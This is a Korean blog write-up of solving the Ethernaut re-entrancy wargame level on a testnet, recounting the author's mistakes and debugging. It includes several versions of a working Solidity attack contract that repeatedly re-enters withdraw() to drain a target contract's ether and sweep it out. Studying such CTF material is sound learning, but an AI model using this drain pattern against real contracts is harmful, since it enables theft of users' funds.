ethernaut의 re-entrancy를 풀면서 했던 뻘짓들과 그로 인해 배운 점을 부끄럽지만 기록해보고자 한다. 지금까지 썼던 글 중 가장 인간적인(?) 글이 될 것 같다. 😂

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;

interface reentrance {
    function donate(address) external payable;
    function withdraw(uint256) external;
}

contract Attack {
    reentrance Ex;
    address target = 0x50810Da212973CD2093a82dc2EBcE453A41db5ac;

    constructor() public payable {
        Ex = reentrance(target);
        Ex.donate{value: 0.001 ether}(address(this));
        Ex.withdraw(100000000000000); // 0.0001 ether
    }

    fallback() external payable {
        Ex.withdraw(100000000000000); // 0.0001 ether
    }    
}

 

위의 익스 코드로 시작했다. (다시 보니 코드가 개판이다.)

 

뻘짓1 - donate의 value를 높이면 될거라는 말을 어디선가 듣고 이유는 생각도 안하고 무지성으로 1로 올려서 해봤다.

→ 바로 1이더 인스턴스에 헌납…

 

이후로 몇 시간동안 위의 코드로 이것저것 해보다가..

인스턴스에게 총 1.0051이더를 헌납했다.. (초기값 0.001)

 

물론 내 잘못으로 이렇게 됐지만 저 인스턴스를 향한 적대감이 생겼다. 😈 (워게임 풀면서 적대감까지 생긴건 처음인듯..)

 

계속 리모트로 하다가 내 sepolia가 다 털릴 것 같아서 로컬로 피신했다. (로컬에서는 safemath 안쓰고 솔리디티 버전을 0.8.0으로 했다. 이는 훗날 의도치 않게 배울 점을 준다. 🙃)

 

- - - - - - - 여기서부터 ghXst 형님 등장 - - - - - - - -

 

왜 안되지?????????? 하면서 구글링도 해보고 이곳저곳 물어봤는데 답이 잘 안 나왔다.

 

(여기가 핵심) 그러다 ghXst 형님이 공격 함수를 분리해보라고 했다.

초기의 익스 코드에서는 constructor에서 donate와 withdraw를 모두 호출했다. 

constructor code가 실행중일 때에는 새로 생성된 주소(address(this))는 존재하지만 본질적인 body code는 없는 상태이다. (sender와 nonce는 정해졌으니 주소는 deterministic하게 결정되지만 body code는 없는 상태인 것으로 이해했다.)

(출처 : https://ethereum.stackexchange.com/questions/29469/is-addressthis-a-valid-address-in-a-contracts-constructor)

 

yellow paper의 해당 부분을 보자.

 

정확히 receive된 message call이 실행되지 않는다고 한다. (message call은 sender, transaction originator, recipient, value, gas 등을 parameter로 포함)

로컬에서 실험해보니 donate, withdraw은 constructor 내에서 한 번씩 실행이 되었지만 문제 컨트랙트에서 익스 컨트랙트로 오는 message call은 실행되지 않았다. 즉, constructor내부에서 다른 컨트랙트로 보내는 message call은 실행이 되나, constructor 실행이 끝나지 않은 상황에서 다른 컨트랙트에서 오는(received) message call은 실행되지 않는 것이다.

 

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

interface reentrance {
    function donate(address) external payable;
    function withdraw(uint256) external;
}

contract Attack {
    reentrance Ex;
    address target = 0xCba....; // 로컬에서 배포한 문제 컨트랙트

    constructor() public {
        Ex = reentrance(target);
    }

    function attack() public payable {
    	Ex.donate{value: 0.001 ether}(address(this));
    	Ex.withdraw(100000000000000); // 0.0001 ether		
    }

    receive() external payable {
        if (target.balance > 0) {
            Ex.withdraw(100000000000000); // 0.0001 ether	    
        }
    }    
}

 

위 코드를 실행해보니

 

 

reentrancy attack이 수행되긴 하지만 out of gas가 뜬다.

 

뻘짓2 - 문제 컨트랙트를 로컬에서 배포할 때, 넉넉히 10이더를 줬다. 그래놓고 공격할 때 0.0001씩 빼내니 당연히 gas가 부족할 수밖에...

 

donate의 value와 withdraw의 인자를 모두 1이더로 바꿔보았다.

그랬더니 위와 같은 에러가 떴다.

 

왜 에러가 뜨는지 잘 모르겠어서 익스코드를 수정하기 시작했다. (결론적으로 익스코드랑 에러는 관련이 없긴 했다. 🥲) target.balance를 event로 찍어보기도 하고 코드도 ghXst 형님의 조언대로 더 깔끔하게 바꿨다.

 

수정한 코드는 다음과 같다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

interface reentrance {
    function donate(address) external payable;
    function withdraw(uint256) external;
}

contract Attack {
    reentrance Ex;
    uint amount;

    event LogBalance(uint balance);

    constructor(address payable target) public {
        Ex = reentrance(target);
    }

    function attack() public payable {
        Ex.donate{value: msg.value}(address(this));
        amount = msg.value;
        Ex.withdraw(amount);
    }

    function giveme(uint256 a, address payable addr) public {
        addr.transfer(a);        
    }

    receive() external payable {
        emit LogBalance(address(Ex).balance);
        if (address(Ex).balance > 0) {
            Ex.withdraw(amount);
        }
    }    
}

(여전히 위의 똑같은 에러는 남)

 

결론적으로 underflow에러가 난 이유는 solidity 버전 차이 때문이었다.

 

문제 컨트랙트에서 withdraw함수를 호출하면 balances에서 amount를 빼는데, 재진입하면서 이것이 음수가 되고 underflow가 났던 것이다. (뺄 때는 Safemath를 쓰지 않음)

 

알고보니 solidity 0.8버전부터 자체적으로 underflow를 잡아서 나는 오류였다. 따라서 리모트로 할 때의 문제 버전은 0.6.12였으므로 리모트에서는 위 코드가 먹힐 것이라는 생각을 할 수 있었다.

 

 

 

 

이제 버전만 바꿔주고 리모트로 해볼 차례이다.

뻘짓3 - 1.0061이더를 가지고 있는 인스턴스를 털어야 하는데 attack함수를 호출할 때 0.001ether만 줌 (같은 실수를 반복했다..)

→ 당연히 out of gas가 뜨겠죠?

그래도 44번 (1.0061 - 0.9621 = 0.044) 빼낸 것을 볼 수 있다. 🤣 중간에 out of gas가 난 것이다.

 

ㅋㅋㅋㅋㅋㅋㅋㅋ... (초록이다가 중간부터 out of gas가 뜬 것을 볼 수 있다.)

 

어쨌든 0.9621 남았으니 attack함수를 호출할 때 0.9621이더를 value로 줘서 그냥 2번으로 공격을 끝내려고 했는데 내 계좌에 0.5이더밖에 없었다..

좀 더 쪼개서 0.3207정도로 할 수도 있는데 ghXst 형님이 갑자기 3이더를 주셨다. 🤩

 

이제 드디어 내 이더를 되돌려 받을 때이다. (매우 기쁜 상태)

 

 

예상대로 2번만에 모두 내가 배포한 컨트랙트로 인스턴스의 이더를 송금하였다.

드디어 이 녀석 잔고를 0으로 만들었다. 😎

 

내가 배포한 컨트랙트에 giveme함수를 미리 만들어놨기에 원하는만큼 원하는 주소로 송금할 수 있다. 바로 내 주소로 컨트랙트의 모든 잔고를 송금했다. 😋😋😋

 

 

 

constructor 관련 이슈, 반복해서 쓰는 값을 하드코딩한 점, 오류 원인을 찾을 때 event를 쓴 점, 로컬에서 충분히 test를 진행해본 점, 버전에 따른 underflow 패치 등등 초보적인 실수부터 모르면 찾기 어려운 문제까지 다양하게 배웠다.

 

많은 부분에서 도와주신 ghXst 형님에게 박수를.. 👏🏻👏🏻

 

'wargame' 카테고리의 다른 글

hackthebox - Honor Among Thieves  (1) 2024.05.15
hackthebox - Distract and Destroy  (1) 2024.05.15
hackthebox - Survival of the Fittest  (0) 2024.05.10

+ Recent posts